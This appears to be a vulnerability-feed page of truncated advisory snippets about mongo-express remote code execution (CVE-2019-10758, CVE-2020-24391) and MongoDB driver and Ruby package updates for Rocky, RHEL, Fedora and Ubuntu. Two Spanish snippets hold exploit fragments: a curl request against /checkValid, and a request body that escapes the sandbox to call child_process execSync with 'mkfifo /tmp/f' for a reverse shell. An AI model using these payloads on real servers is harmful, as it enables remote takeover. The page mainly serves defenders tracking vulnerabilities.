CVE-2019-10758

CVE-2019-10758 PoC Configuración docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js Exploit con cURL curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...

mongo-express Remote Code Execution

mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the toBSON method and misuse the vm dependency to perform exec commands in a non-safe environment. id: CVE-2019-10758 info: name: mongo-express Remote Code Execution author: princechaddha severity: critical...

Bugs-feed

Bug's feed Bug's feed es un portal alojado localmente donde puedes buscar las últimas noticias, vídeos, CVEs, vulnerabilidades... Está implementado como una aplicación PWA, por lo que puedes deshacerte del navegador y usarlo como una aplicación de escritorio. Navega por las diferentes pestañas y...

Mongo-Express - Remote Code Execution

Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server. id: CVE-2020-24391 info: nam...

ruby:2.5 security update

An update is available for rubygem-mysql2, module.rubygem-mysql2, module.rubygem-bundler, module.ruby, module.rubygem-mongo, module.rubygem-pg, module.rubygem-bson, ruby, rubygem-bundler, rubygem-abrt, rubygem-pg, rubygem-mongo, module.rubygem-abrt, rubygem-bson. This update affects Rocky Linux 8...

RLSA-2026:73519 Important: ruby:2.5 security update

Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks. Security Fixes: resolv: resolv gem: Denial of Service via uncontrolled memory growth from crafted DNS responses CVE-2026-80212 rubygem-mongo:...

Rocky Linux 8 [CIQ] Security Update: ruby / ruby-debuginfo / ruby-debugsource / ruby-devel / ruby-doc / etc Multiple Vulnerabilities (crlsa-2026_73519)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202673519 advisory. resolv: resolv gem: Denial of Service via uncontrolled memory growth from crafted DNS responses CVE-2026-80212 rubygem-mongo: MongoDB Ruby Driver: Data...

RockyLinux 8 : ruby:2.5 (RLSA-2026:73519)

The remote RockyLinux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the RLSA-2026:73519 advisory. resolv: resolv gem: Denial of Service via uncontrolled memory growth from crafted DNS responses CVE-2026-80212 rubygem-mongo: MongoDB Ruby Driver: Data...

Important: Red Hat Security Advisory: ruby:2.5 security update

An update for the ruby:2.5 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...

RHEL 8 : ruby:2.5 (RHSA-2026:73519)

The remote Redhat Enterprise Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2026:73519 advisory. Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system...

CVE-2019-10758

CVE-2019-10758 mongo-express ejecución remota de código, el código del shell inverso es el siguiente: CUERPO DE LA SOLICITUD 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" CUERPO DE LA SOLICITUD 2:...

[SECURITY] Fedora 43 Update: mongo-c-driver-1.30.11-1.fc43

mongo-c-driver is a client library written in C for MongoDB...

[SECURITY] Fedora 44 Update: mongo-c-driver-1.30.11-1.fc44

mongo-c-driver is a client library written in C for MongoDB...

[SECURITY] Fedora 45 Update: mongo-c-driver-2.5.4-1.fc45

mongo-c-driver is a client library written in C for MongoDB...

Fedora 43 : mongo-c-driver (2026-b4c749cdd2)

The remote Fedora 43 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2026-b4c749cdd2 advisory. libbson 1.30.11 Fixes - Fix length check in bsonnewfrombuffer. ---- libmongoc 1.30.11 Fixes - Fix allocation in Windows Secure Channel. - Fix error...

Fedora 45 : mongo-c-driver (2026-0fcc2d09c6)

The remote Fedora 45 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2026-0fcc2d09c6 advisory. libmongoc 2.5.4 Fixes - Fix allocation in Windows Secure Channel. ---- libmongoc 2.5.3 Fixes - Use exact match for file ID in GridFS methods...

Fedora 44 : mongo-c-driver (2026-4286ff2dfd)

The remote Fedora 44 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2026-4286ff2dfd advisory. libbson 1.30.11 Fixes - Fix length check in bsonnewfrombuffer. ---- libmongoc 1.30.11 Fixes - Fix allocation in Windows Secure Channel. - Fix error...

UBUNTU-CVE-2026-96746

An out-of-bounds write in the connection-monitoring logic of the MongoDB C Driver may allow an unauthenticated party who controls name resolution and the responses of the hosts named in a client's connection string to write beyond the end of a heap buffer. This may cause the application using the...

CVE-2026-96746

An out-of-bounds write in the connection-monitoring logic of the MongoDB C Driver may allow an unauthenticated party who controls name resolution and the responses of the hosts named in a client's connection string to write beyond the end of a heap buffer. This may cause the application using the...

Fedora 43 : mongo-c-driver (2026-f74926c622)

The remote Fedora 43 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2026-f74926c622 advisory. libmongoc 1.30.9 Fixes - Fix OCSP error handling. CVE-2026-84964 - Fix unsafe casts during JSON parsing. CVE-2026-84965 - Fix possible unsafe...